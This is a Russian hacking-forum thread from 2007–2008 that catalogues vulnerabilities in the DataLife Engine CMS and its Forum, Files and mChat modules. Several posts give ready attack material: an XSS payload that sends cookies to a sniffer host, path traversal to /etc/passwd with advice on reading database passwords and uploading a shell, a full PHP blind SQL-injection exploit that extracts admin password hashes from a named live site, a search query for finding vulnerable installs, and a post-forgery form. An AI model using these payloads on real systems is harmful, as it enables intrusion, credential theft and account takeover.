ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[ Обзор уязвимостей DataLife Engine ]
  #1  
Старый 28.10.2007, 02:11
Аватар для Solide Snake
Solide Snake
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме:
5516499

Репутация: 3702


Отправить сообщение для Solide Snake с помощью ICQ
По умолчанию [ Обзор уязвимостей DataLife Engine ]

Обзор уязвимостей [DataLife Engine]


Сайт производителя: www.dle-news.ru
Актуальная версия: 6.3

DataLife Engine v.3.7


[Раскрытие установочного пути]

В parse.class.php выделено 12582912 байт на проверку сообщения.
Переполнение делается так: "<<><><><><><>>"

[ХСС]

Угнать кукисы можно при помощи вставки картинки.
[img][/img] -- этим можно воспользваться всегда, даже если нету таких кнопок при
добавлении новости, личном сообщении, добавления коментария.
Непосредственно сама ХСС:

Код:
[IMG=left]http://anyimage.com/ok.gif" onmouseover='document.location=" class="fixed">http://your.sniffer.com/sniff/sniff.gif?id="+document.
cookie;'><!--[/IMG]
[Проблемы с SQL]

Код:
http://target.net/category/topic/ -- где topic -- это не существующая тема. 
Результат: SELECT id FROM nws_category WHERE parentid=not detected ;

Версия 4.1 возможно более ранние SQL Injection.


Описание:
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Пример:

[CODE]http://[host]/index.php?subaction=userinfo&user=
DataLife Engine <= 4.1 Remote SQL Injection Exploit (perl)
DataLife Engine <= 4.1 Remote SQL Injection Exploit (php)
SQL injection for <=4.1 version exploit
RGdatalife - exploit (php version)

Последний раз редактировалось Solide Snake; 23.03.2008 в 14:58..
 
Ответить с цитированием

  #2  
Старый 13.01.2008, 01:25
Аватар для halkfild
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию

в виду наличия множества ресурсов в сети под этим движком решил поискать хоть какие-то уязвимости в нем..

пошел на офф сайт http://dle - news.ru/. SoftNews Media Group любезно предоставляет демо доступ для просмотра движка в роботе http://demo.dle - news.ru/ тут и начнем.

Так, как это все на их сервере и это демо версия, то почти весь функционал они обрезали оставив только чтение =\. смотрим...

баг в функциях оптимизации базы

http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption

пакеты браузера

Цитата:
cmd> GET /admin.php?mod=dboption&action=dboption HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
cmd> Referer: http://demo.dle-news.ru/admin.php?mod=dboption
cmd> User-Agent: 8.50 iia Nokia 6630 (in Spanish) — Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6630/4.03.38; 6937) Opera 8.50 [es]
cmd> Host: demo.dle-news.ru
cmd> Cookie: PHPSESSID=2962374dc7d3a4f7035f4f5d290c02e2; dle_skin=deleted; dle_hash=deleted; lastusername=demo; dle_name=demo; dle_password=fe01ce2a7fbac8fafaed7c982a04e229
cmd>
hdr> HTTP/1.1 200 OK
hdr> Server: nginx/0.5.34
hdr> Date: Thu, 10 Jan 2008 22:05:26 GMT
hdr> Content-Type: text/html; charset=windows-1251
hdr> Connection: close
hdr> X-Powered-By: PHP/5.2.3
hdr> Expires: Tue, 11 Jun 1985 05:00:00 GMT
hdr> Cache-Control: no-store, no-cache, must-revalidate
hdr> Pragma: no-cache
hdr> Last-Modified: Thu, 10 Jan 2008 22:05:48 GMT
hdr> Cache-Control: post-check=0, pre-check=0
hdr> Content-Length: 1337
hdr> Content-Language: ru
RequestDone Error = 0
StatusCode = 200
расскрытие при повторном посте
и ошибка при не корректном посте данных /*пишет не корректное название таблицы*/

Цитата:
Warning: reset(): Passed variable is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 28 Warning: Variable passed to each() is not an array or object in /usr/home/15292/demo.dle-news.ru/html/engine/inc/dboption.php on line 32 MySQL Error!
------------------------

The Error returned was:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Error Number:
1064
так же мона юзать xss

method=post auction=http://demo.dle-news.ru/admin.php?mod=dboption&action=dboption
ta%5B%5D=dle_email,"><script>alert()</script>&whattodo=optimize
или
ta%5B%5D=dle_files"><script>alert(/xss/)</script>&whattodo=repair

вообщем имеем пост ксс и расскрытие пути

з.ы. сначала незаметил и создал новую тему ^^
 
Ответить с цитированием

  #3  
Старый 13.01.2008, 01:31
Аватар для Solide Snake
Solide Snake
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме:
5516499

Репутация: 3702


Отправить сообщение для Solide Snake с помощью ICQ
По умолчанию

DataLife engine...(версию уязвимую так и не выяснил... т.к. багу сам нашел, но точно знаю что до пятой... на 4.2 прокатывает)

Листилка (читалка) файлов там где не стоит мэйджик квотез:

Код:
http://site.dmn/engine/ajax/vote.php?vote_action=results&vote_skin=../../../../../../../../../../../etc/passwd%00
Да и еще примечательно это тем, что полюбому можно прочитать пароль к БД т.к. в этой двиге обязательно присутствует файло с настройками пользователя БД и соответственно при хорошем раскладе узнать пароли админа и через админку шелл залить (в большинстве случаев получается) но для этого в конфигурации в админке надо зделать кой какие изменения... ну я думаю это каждый сможет...

(c) Scipio

Последний раз редактировалось jokester; 08.06.2009 в 18:03.. Причина: Чистка темы
 
Ответить с цитированием

  #4  
Старый 03.02.2008, 03:59
Аватар для r00tk1d
r00tk1d
Новичок
Регистрация: 03.02.2008
Сообщений: 1
Провел на форуме:
8339

Репутация: 21
По умолчанию

Раскрытие полного установочного пути (для авторизированых юзеров)
Код:
index.php?do=pm&doaction=newpm&user[]=
Результат
Код:
Warning: urldecode() expects parameter 1 to be string, array given in %путь_установки%/engine/init.php on line 49

Последний раз редактировалось r00tk1d; 03.02.2008 в 04:01..
 
Ответить с цитированием

  #5  
Старый 02.03.2008, 18:07
Аватар для l-l00K
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
Провел на форуме:
13395217

Репутация: 2097
По умолчанию

blind sql-inj в неофициальном модуле к Dle files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
Код:
http://www.alldown.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+
Эксплоит:
PHP код:
<?php
set_time_limit
(0);
/*-----------------------------------------------------*/ 
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/ 

/*-----------------Настройки---------------------------*/ 
$host="symbiware.org";//указываем хост
$catid "38";//Указываем id существующей категории
$userid "0";//Указываем id администратора
/*-----------------------------------------------------*/ 

$good "MySQL Fatal Error";
$bad "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";
$end ",(select%201%20from%20dle_downloads),url)+--+";
$index 1;
$result "";

function 
GetMiddle($min$max)
{
 return 
floor($min+((($max+1)-($min-1))/2));
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
CheckSQL($host$path$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
CheckSQL($host$path$index.",1))={$max}"))
  {
    
$result .=chr($max);
  } else
  {
   if(
CheckSQL($host$path$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

function 
CheckSQL ($host$path$st)
{   global 
$end;
    
$line="";
    
$fo fsockopen($host80$errno$errstr30);
    if(!
$fo){die ("no connect");}
    else 
    { 
       
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
       
$headers.="Host: ".$host."\r\n";
       
$headers.="Connection: Close\r\n\r\n";    
       global 
$good;
       global 
$bad;
        
fwrite($fo$headers);
        while (!
feof($fo))
        {
            
$line fgets($fo512);
            if (
strpos($line,$good)) 
            {
             
fclose($fo);
             return 
true;
            }
            if (
strpos($line,$bad))
            {
             
fclose($fo);
             return 
false;
            }
        }
        
fclose($fo);
    }
    return 
false;
}
if (
CheckSQL($host$path$index.",1))+between+1+and+255")) 
 echo (
" Идет подбор символов...<br>"); else  die("Ошибка");
 
for (
$i=0;$i<32;$i++)
{
 
$min 31;
 
$max 123;
 
$ok true;
 while (
$ok == true)
 {
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
CheckSQL($host$path$index.",1))+between+1+and+{$num}")) 
  {
 echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
  echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}
echo 
$result;
?>
© H00k
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
 
Ответить с цитированием

  #6  
Старый 08.04.2008, 00:16
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Нашёл XSS в модуле DLE Forum 2.1

Код:
http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>
Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать )

З.Ы.
Гуглом ищутся по запросу:

intitle:"Работает на DLE Forum"
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 08.04.2008 в 00:22..
 
Ответить с цитированием

  #7  
Старый 08.04.2008, 01:49
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


Talking

Ещё забавную багу нашёл в модуле DLE Forum 2.1


Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):

Создайте страничку со следующим кодом:
Код:
<form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
 Forum ID: <input type="text" name="forum_id" value="2"><br/>
 Topic ID: <input type="text" name="topic_id" value="1"><br/>
 Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
 Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>  
 UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
 UserMail: <input type="text" name="mail" value="Billy@mail.xx"><!-- Вписываем что хотим -->
 <input type="submit">
</form>
Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 08.04.2008 в 01:53..
 
Ответить с цитированием

  #8  
Старый 08.04.2008, 17:36
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Blind SQL Injection в в модуле DLE Forum 2.1:

На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.

Для выполнения, нужно залогиниться.

Для начала нужно добавить иньекцию в БД

Примеры:
Код:
http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 --
Код:
http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) --
Затем, для её выполнения нужно обратиться по адресу:
Код:
http://site/index.php?do=forum&act=subscription
При написании неудачного запроса, его нужно удалить командой: (это важно!)

Код:
http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]
Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html

З.Ы.
Сорри, что не добил скуль до конца, времени не хватает, но это возможно.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 08.04.2008 в 17:41..
 
Ответить с цитированием

  #9  
Старый 08.04.2008, 21:38
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

SQL Injection в в модуле DLE mChat v. 2.0:

Нашёл в админке, и после ORDER BY, наверное бесполезная, но:

Код:
http://site/admin.php?mod=mchat&start_from=SQL
И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):

Код:
http://site/admin.php?mod=mchat&mchat_per_page=1SQL
Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #10  
Старый 08.04.2008, 22:07
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Раскрытие пути в модуле DLE mChat v. 2.0:

Код:
http://site/admin.php?mod=mchat&action=mess_del
Код:
http://site/admin.php?mod=mchat&action=do_mess_del
Тоже админка
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 08.04.2008 в 23:27..
 
Ответить с цитированием
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[ Обзор уязвимостей WordPress ] ettee Сценарии/CMF/СMS 156 07.06.2010 05:01
Обзор уязвимостей в платных CMS ZAMUT Сценарии/CMF/СMS 56 15.04.2010 21:02
DataLife Engine v.6.5. Null Student :) ПО для Web разработчика 31 23.02.2008 15:36
[ Обзор уязвимостей miniBB ] -=lebed=- Форумы 3 12.01.2008 20:57



TEST QR: []
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ